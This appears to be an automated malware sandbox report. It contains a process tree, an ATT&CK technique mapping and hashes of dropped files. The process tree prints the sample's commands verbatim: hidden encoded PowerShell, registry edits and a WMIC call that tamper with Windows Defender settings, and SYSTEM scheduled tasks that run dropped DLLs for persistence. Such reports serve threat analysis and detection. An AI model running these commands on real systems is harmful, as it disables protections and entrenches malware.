                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                    1⤵
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:532
                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                      2⤵
                                                                                                                        PID:2708
                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                      1⤵
                                                                                                                        PID:2300
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                        1⤵
                                                                                                                          PID:2112
                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                          1⤵
                                                                                                                            PID:2136
                                                                                                                          • C:\Windows\Temp\sgXeQePAYlNIMypi\AFLXlfyNLvuXnNY\bcgxQFI.exe
                                                                                                                            C:\Windows\Temp\sgXeQePAYlNIMypi\AFLXlfyNLvuXnNY\bcgxQFI.exe A9 /gVjRdidyh 385107 /S
                                                                                                                            1⤵
                                                                                                                            • Checks computer location settings
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Drops Chrome extension
                                                                                                                            • Drops file in System32 directory
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:1916
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                              2⤵
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:1868
                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                3⤵
                                                                                                                                • Indirect Command Execution
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                PID:2196
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                  4⤵
                                                                                                                                    PID:4880
                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                      5⤵
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:3092
                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                  3⤵
                                                                                                                                  • Indirect Command Execution
                                                                                                                                  PID:4804
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                    4⤵
                                                                                                                                      PID:1864
                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                        5⤵
                                                                                                                                          PID:428
                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                      3⤵
                                                                                                                                      • Indirect Command Execution
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:3940
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                        4⤵
                                                                                                                                          PID:4996
                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                            5⤵
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:1728
                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                        3⤵
                                                                                                                                        • Indirect Command Execution
                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                        PID:1832
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                          4⤵
                                                                                                                                            PID:1656
                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                              5⤵
                                                                                                                                                PID:2624
                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                            3⤵
                                                                                                                                            • Indirect Command Execution
                                                                                                                                            PID:872
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                              4⤵
                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                              PID:2376
                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                5⤵
                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                PID:740
                                                                                                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                  6⤵
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:4292
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "bgtoOlxojiCSJAonCW"
                                                                                                                                          2⤵
                                                                                                                                            PID:3908
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                            2⤵
                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                            PID:384
                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                              3⤵
                                                                                                                                              • Indirect Command Execution
                                                                                                                                              PID:2508
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                4⤵
                                                                                                                                                  PID:1092
                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                    5⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                    PID:184
                                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                      6⤵
                                                                                                                                                        PID:4840
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\fTyVudztU\zBZvoz.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JqXAsZBBKphmdcP" /V1 /F
                                                                                                                                                2⤵
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:1328
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /CREATE /TN "JqXAsZBBKphmdcP2" /F /xml "C:\Program Files (x86)\fTyVudztU\HjaeAZh.xml" /RU "SYSTEM"
                                                                                                                                                2⤵
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                PID:3780
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /END /TN "JqXAsZBBKphmdcP"
                                                                                                                                                2⤵
                                                                                                                                                  PID:4300
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /DELETE /F /TN "JqXAsZBBKphmdcP"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4556
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "pzNRijPmPJKXkc" /F /xml "C:\Program Files (x86)\NOwjmDzSqxFU2\jHMwekm.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:5024
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "KWtiTfEwrzQiI2" /F /xml "C:\ProgramData\EtwxiooagRVzONVB\FrsomKh.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:5100
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "wwMOTROTeMNjayYNc2" /F /xml "C:\Program Files (x86)\gQtLBgdbfBBhYeQnFBR\eCqJJSC.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:1200
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "LZhJmzmwdOzvzLEYuJY2" /F /xml "C:\Program Files (x86)\pyMhWKEXiSxKC\khdILwn.xml" /RU "SYSTEM"
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:384
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /CREATE /TN "rsrFsEtiSjHJKkrjc" /SC once /ST 00:52:02 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\sgXeQePAYlNIMypi\tZztZTuB\gVyeUqB.dll\",#1 /oqTrdidrD 385107" /V1 /F
                                                                                                                                                    2⤵
                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                    PID:2860
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /run /I /tn "rsrFsEtiSjHJKkrjc"
                                                                                                                                                    2⤵
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    PID:2084
                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                    schtasks /DELETE /F /TN "EcRbblsIorAekDSdg"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1116
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 2080
                                                                                                                                                      2⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      PID:4312
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1048 -ip 1048
                                                                                                                                                    1⤵
                                                                                                                                                      PID:4112
                                                                                                                                                    • C:\Windows\system32\rundll32.EXE
                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\sgXeQePAYlNIMypi\tZztZTuB\gVyeUqB.dll",#1 /oqTrdidrD 385107
                                                                                                                                                      1⤵
                                                                                                                                                        PID:4448
                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                          C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\sgXeQePAYlNIMypi\tZztZTuB\gVyeUqB.dll",#1 /oqTrdidrD 385107
                                                                                                                                                          2⤵
                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                          PID:1776
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "rsrFsEtiSjHJKkrjc"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:3780
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4808 -ip 4808
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1088
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 1916 -ip 1916
                                                                                                                                                            1⤵
                                                                                                                                                              PID:3092

                                                                                                                                                            Network

                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                            Reconnaissance

                                                                                                                                                            Resource Development

                                                                                                                                                            Initial Access

                                                                                                                                                            Execution

                                                                                                                                                            Command and Scripting Interpreter

                                                                                                                                                            1
                                                                                                                                                            T1059

                                                                                                                                                            PowerShell

                                                                                                                                                            1
                                                                                                                                                            T1059.001

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Scheduled Task

                                                                                                                                                            1
                                                                                                                                                            T1053.005

                                                                                                                                                            Persistence

                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                            1
                                                                                                                                                            T1547

                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                            1
                                                                                                                                                            T1547.001

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Scheduled Task

                                                                                                                                                            1
                                                                                                                                                            T1053.005

                                                                                                                                                            Privilege Escalation

                                                                                                                                                            Boot or Logon Autostart Execution

                                                                                                                                                            1
                                                                                                                                                            T1547

                                                                                                                                                            Registry Run Keys / Startup Folder

                                                                                                                                                            1
                                                                                                                                                            T1547.001

                                                                                                                                                            Scheduled Task/Job

                                                                                                                                                            1
                                                                                                                                                            T1053

                                                                                                                                                            Scheduled Task

                                                                                                                                                            1
                                                                                                                                                            T1053.005

                                                                                                                                                            Defense Evasion

                                                                                                                                                            Indirect Command Execution

                                                                                                                                                            1
                                                                                                                                                            T1202

                                                                                                                                                            Modify Registry

                                                                                                                                                            2
                                                                                                                                                            T1112

                                                                                                                                                            Subvert Trust Controls

                                                                                                                                                            1
                                                                                                                                                            T1553

                                                                                                                                                            Install Root Certificate

                                                                                                                                                            1
                                                                                                                                                            T1553.004

                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                            2
                                                                                                                                                            T1497

                                                                                                                                                            Credential Access

                                                                                                                                                            Credentials from Password Stores

                                                                                                                                                            1
                                                                                                                                                            T1555

                                                                                                                                                            Credentials from Web Browsers

                                                                                                                                                            1
                                                                                                                                                            T1555.003

                                                                                                                                                            Unsecured Credentials

                                                                                                                                                            4
                                                                                                                                                            T1552

                                                                                                                                                            Credentials In Files

                                                                                                                                                            4
                                                                                                                                                            T1552.001

                                                                                                                                                            Discovery

                                                                                                                                                            Query Registry

                                                                                                                                                            8
                                                                                                                                                            T1012

                                                                                                                                                            System Information Discovery

                                                                                                                                                            5
                                                                                                                                                            T1082

                                                                                                                                                            System Location Discovery

                                                                                                                                                            1
                                                                                                                                                            T1614

                                                                                                                                                            System Language Discovery

                                                                                                                                                            1
                                                                                                                                                            T1614.001

                                                                                                                                                            Virtualization/Sandbox Evasion

                                                                                                                                                            2
                                                                                                                                                            T1497

                                                                                                                                                            Lateral Movement

                                                                                                                                                            Collection

                                                                                                                                                            Data from Local System

                                                                                                                                                            3
                                                                                                                                                            T1005

                                                                                                                                                            Command and Control

                                                                                                                                                            Exfiltration

                                                                                                                                                            Impact

                                                                                                                                                            Replay Monitor

                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                            Downloads

                                                                                                                                                            • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                              Filesize

                                                                                                                                                              2.0MB

                                                                                                                                                              MD5

                                                                                                                                                              f99030b703148ef9b731b71ff9acbc89

                                                                                                                                                              SHA1

                                                                                                                                                              8308a57220cd2bbcf4c0cfde5c87faaf52fe40a0

                                                                                                                                                              SHA256

                                                                                                                                                              90680b21235bcd6a9179475f632fe243020182b2c6b597cdab4b91303939da40

                                                                                                                                                              SHA512

                                                                                                                                                              eac7bea26944a0ba683492ee50791c7eb6db4a91d735429b5f6d92457d357b5def65d4f3dc3329125ee466369d2d8187eceeed3f7e27f776a1b902cbde89cea7

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\ProgramData\mozglue.dll
                                                                                                                                                              Filesize

                                                                                                                                                              593KB

                                                                                                                                                              MD5

                                                                                                                                                              c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                              SHA1

                                                                                                                                                              95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                              SHA256

                                                                                                                                                              ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                              SHA512

                                                                                                                                                              fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\ProgramData\nss3.dll
                                                                                                                                                              Filesize

                                                                                                                                                              2.0MB

                                                                                                                                                              MD5

                                                                                                                                                              1cc453cdf74f31e4d913ff9c10acdde2

                                                                                                                                                              SHA1

                                                                                                                                                              6e85eae544d6e965f15fa5c39700fa7202f3aafe

                                                                                                                                                              SHA256

                                                                                                                                                              ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                                                                                                                                                              SHA512

                                                                                                                                                              dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\1000238002\Amadeus.exe
                                                                                                                                                              Filesize

                                                                                                                                                              5.3MB

                                                                                                                                                              MD5

                                                                                                                                                              36a627b26fae167e6009b4950ff15805

                                                                                                                                                              SHA1

                                                                                                                                                              f3cb255ab3a524ee05c8bab7b4c01c202906b801

                                                                                                                                                              SHA256

                                                                                                                                                              a2389de50f83a11d6fe99639fc5c644f6d4dcea6834ecbf90a4ead3d5f36274a

                                                                                                                                                              SHA512

                                                                                                                                                              2133aba3e2a41475b2694c23a9532c238abab0cbae7771de83f9d14a8b2c0905d44b1ba0b1f7aae501052f4eba0b6c74018d66c3cbc8e8e3443158438a621094

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              187B

                                                                                                                                                              MD5

                                                                                                                                                              2a1e12a4811892d95962998e184399d8

                                                                                                                                                              SHA1

                                                                                                                                                              55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                              SHA256

                                                                                                                                                              32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                              SHA512

                                                                                                                                                              bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              136B

                                                                                                                                                              MD5

                                                                                                                                                              238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                              SHA1

                                                                                                                                                              0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                              SHA256

                                                                                                                                                              801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                              SHA512

                                                                                                                                                              2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              150B

                                                                                                                                                              MD5

                                                                                                                                                              0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                              SHA1

                                                                                                                                                              6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                              SHA256

                                                                                                                                                              0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                              SHA512

                                                                                                                                                              5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                                              Filesize

                                                                                                                                                              35KB

                                                                                                                                                              MD5

                                                                                                                                                              f789dc3a9c0d093b0ddc0af0c7d30581

                                                                                                                                                              SHA1

                                                                                                                                                              8b91b7a4217401934322802a22d6f7865e51e3cf

                                                                                                                                                              SHA256

                                                                                                                                                              c0430c545c36c430acf122d8d5c9a917b2b31086e8f80b76e43fed5f3b4078fd

                                                                                                                                                              SHA512

                                                                                                                                                              4d886305ba9ef8910e892e8223122058954ca524e6bcf3c2ffff96a86233f59a6b640afefa6b3fc49b51d2a92be2a0a98856c1a0b4950f8b846924551af92c20

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                              Filesize

                                                                                                                                                              1KB

                                                                                                                                                              MD5

                                                                                                                                                              5315900105942deb090a358a315b06fe

                                                                                                                                                              SHA1

                                                                                                                                                              22fe5d2e1617c31afbafb91c117508d41ef0ce44

                                                                                                                                                              SHA256

                                                                                                                                                              e8bd7d8d1d0437c71aceb032f9fb08dd1147f41c048540254971cc60e95d6cd7

                                                                                                                                                              SHA512

                                                                                                                                                              77e8d15b8c34a1cb01dbee7147987e2cc25c747e0f80d254714a93937a6d2fe08cb5a772cf85ceb8fec56415bfa853234a003173718c4229ba8cfcf2ce6335a6

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\geiolieogaichbpfhcannipendgnnbkn\1.0.1_0\_locales\es\messages.json
                                                                                                                                                              Filesize

                                                                                                                                                              151B

                                                                                                                                                              MD5

                                                                                                                                                              bd6b60b18aee6aaeb83b35c68fb48d88

                                                                                                                                                              SHA1

                                                                                                                                                              9b977a5fbf606d1104894e025e51ac28b56137c3

                                                                                                                                                              SHA256

                                                                                                                                                              b7b119625387857b257dd3f4b20238cdbe6c25808a427f0110bcb0bf86729e55

                                                                                                                                                              SHA512

                                                                                                                                                              3500b42b17142cd222bc4aa55bf32d719dbd5715ff8d0924f1d75aec4bc6aa8e9ca8435f0b831c73a65cc1593552b9037489294fbf677ba4e1cec1173853e45b

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                              Filesize

                                                                                                                                                              15KB

                                                                                                                                                              MD5

                                                                                                                                                              e57f2c493ae6fb84ec8ab001f994e5d3

                                                                                                                                                              SHA1

                                                                                                                                                              65ee6b7460ad6416096c0b9f67a6b3946243cedb

                                                                                                                                                              SHA256

                                                                                                                                                              b8b90aab36da2e99b51e6a8fc571c769a61d5cb1641943cfde28f80855b14ce6

                                                                                                                                                              SHA512

                                                                                                                                                              9d82537871cb1e678fe764ef208976a16027c83f84f02684671028c5e8c5504c7642299fbb9f5dd9b51f1c0b68f48dbaadb91e231c75647db0b449f6d24e7b72

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe
                                                                                                                                                              Filesize

                                                                                                                                                              314KB

                                                                                                                                                              MD5

                                                                                                                                                              6134586375c01f97f8777bae1bf5ed98

                                                                                                                                                              SHA1

                                                                                                                                                              4787fa996b75dbc54632cc321725ee62666868a1

                                                                                                                                                              SHA256

                                                                                                                                                              414becb8aabd4e8c406e84df062bee1a45cffa334ae30022078cfa71da9e330d

                                                                                                                                                              SHA512

                                                                                                                                                              652ed16d96b5700f105c2bab8e7258f167bc1615b6397be7340c08df7c977842844326e07fdef677aecfaf07263f99bb7968c9fc926e90e5a33d2ed793f8436b

                                                                                                                                                              Download Submit

                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
                                                                                                                                                              Filesize

                                                                                                                                                              1.1MB

                                                                                                                                                              MD5

                                                                                                                                                              8e74497aff3b9d2ddb7e7f819dfc69ba

                                                                                                                                                              SHA1

                                                                                                                                                              1d18154c206083ead2d30995ce2847cbeb6cdbc1

                                                                                                                                                              SHA256

                                                                                                                                                              d8e81d9e336ef37a37cae212e72b6f4ef915db4b0f2a8df73eb584bd25f21e66

                                                                                                                                                              SHA512

                                                                                                                                                              9aacc5c130290a72f1087daa9e79984565ccab6dbcad5114bfed0919812b9ba5f8dee9c37d230eeca4df3cca47ba0b355fbf49353e53f10f0ebc266e93f49f97

                                                                                                                                                              Download Submit

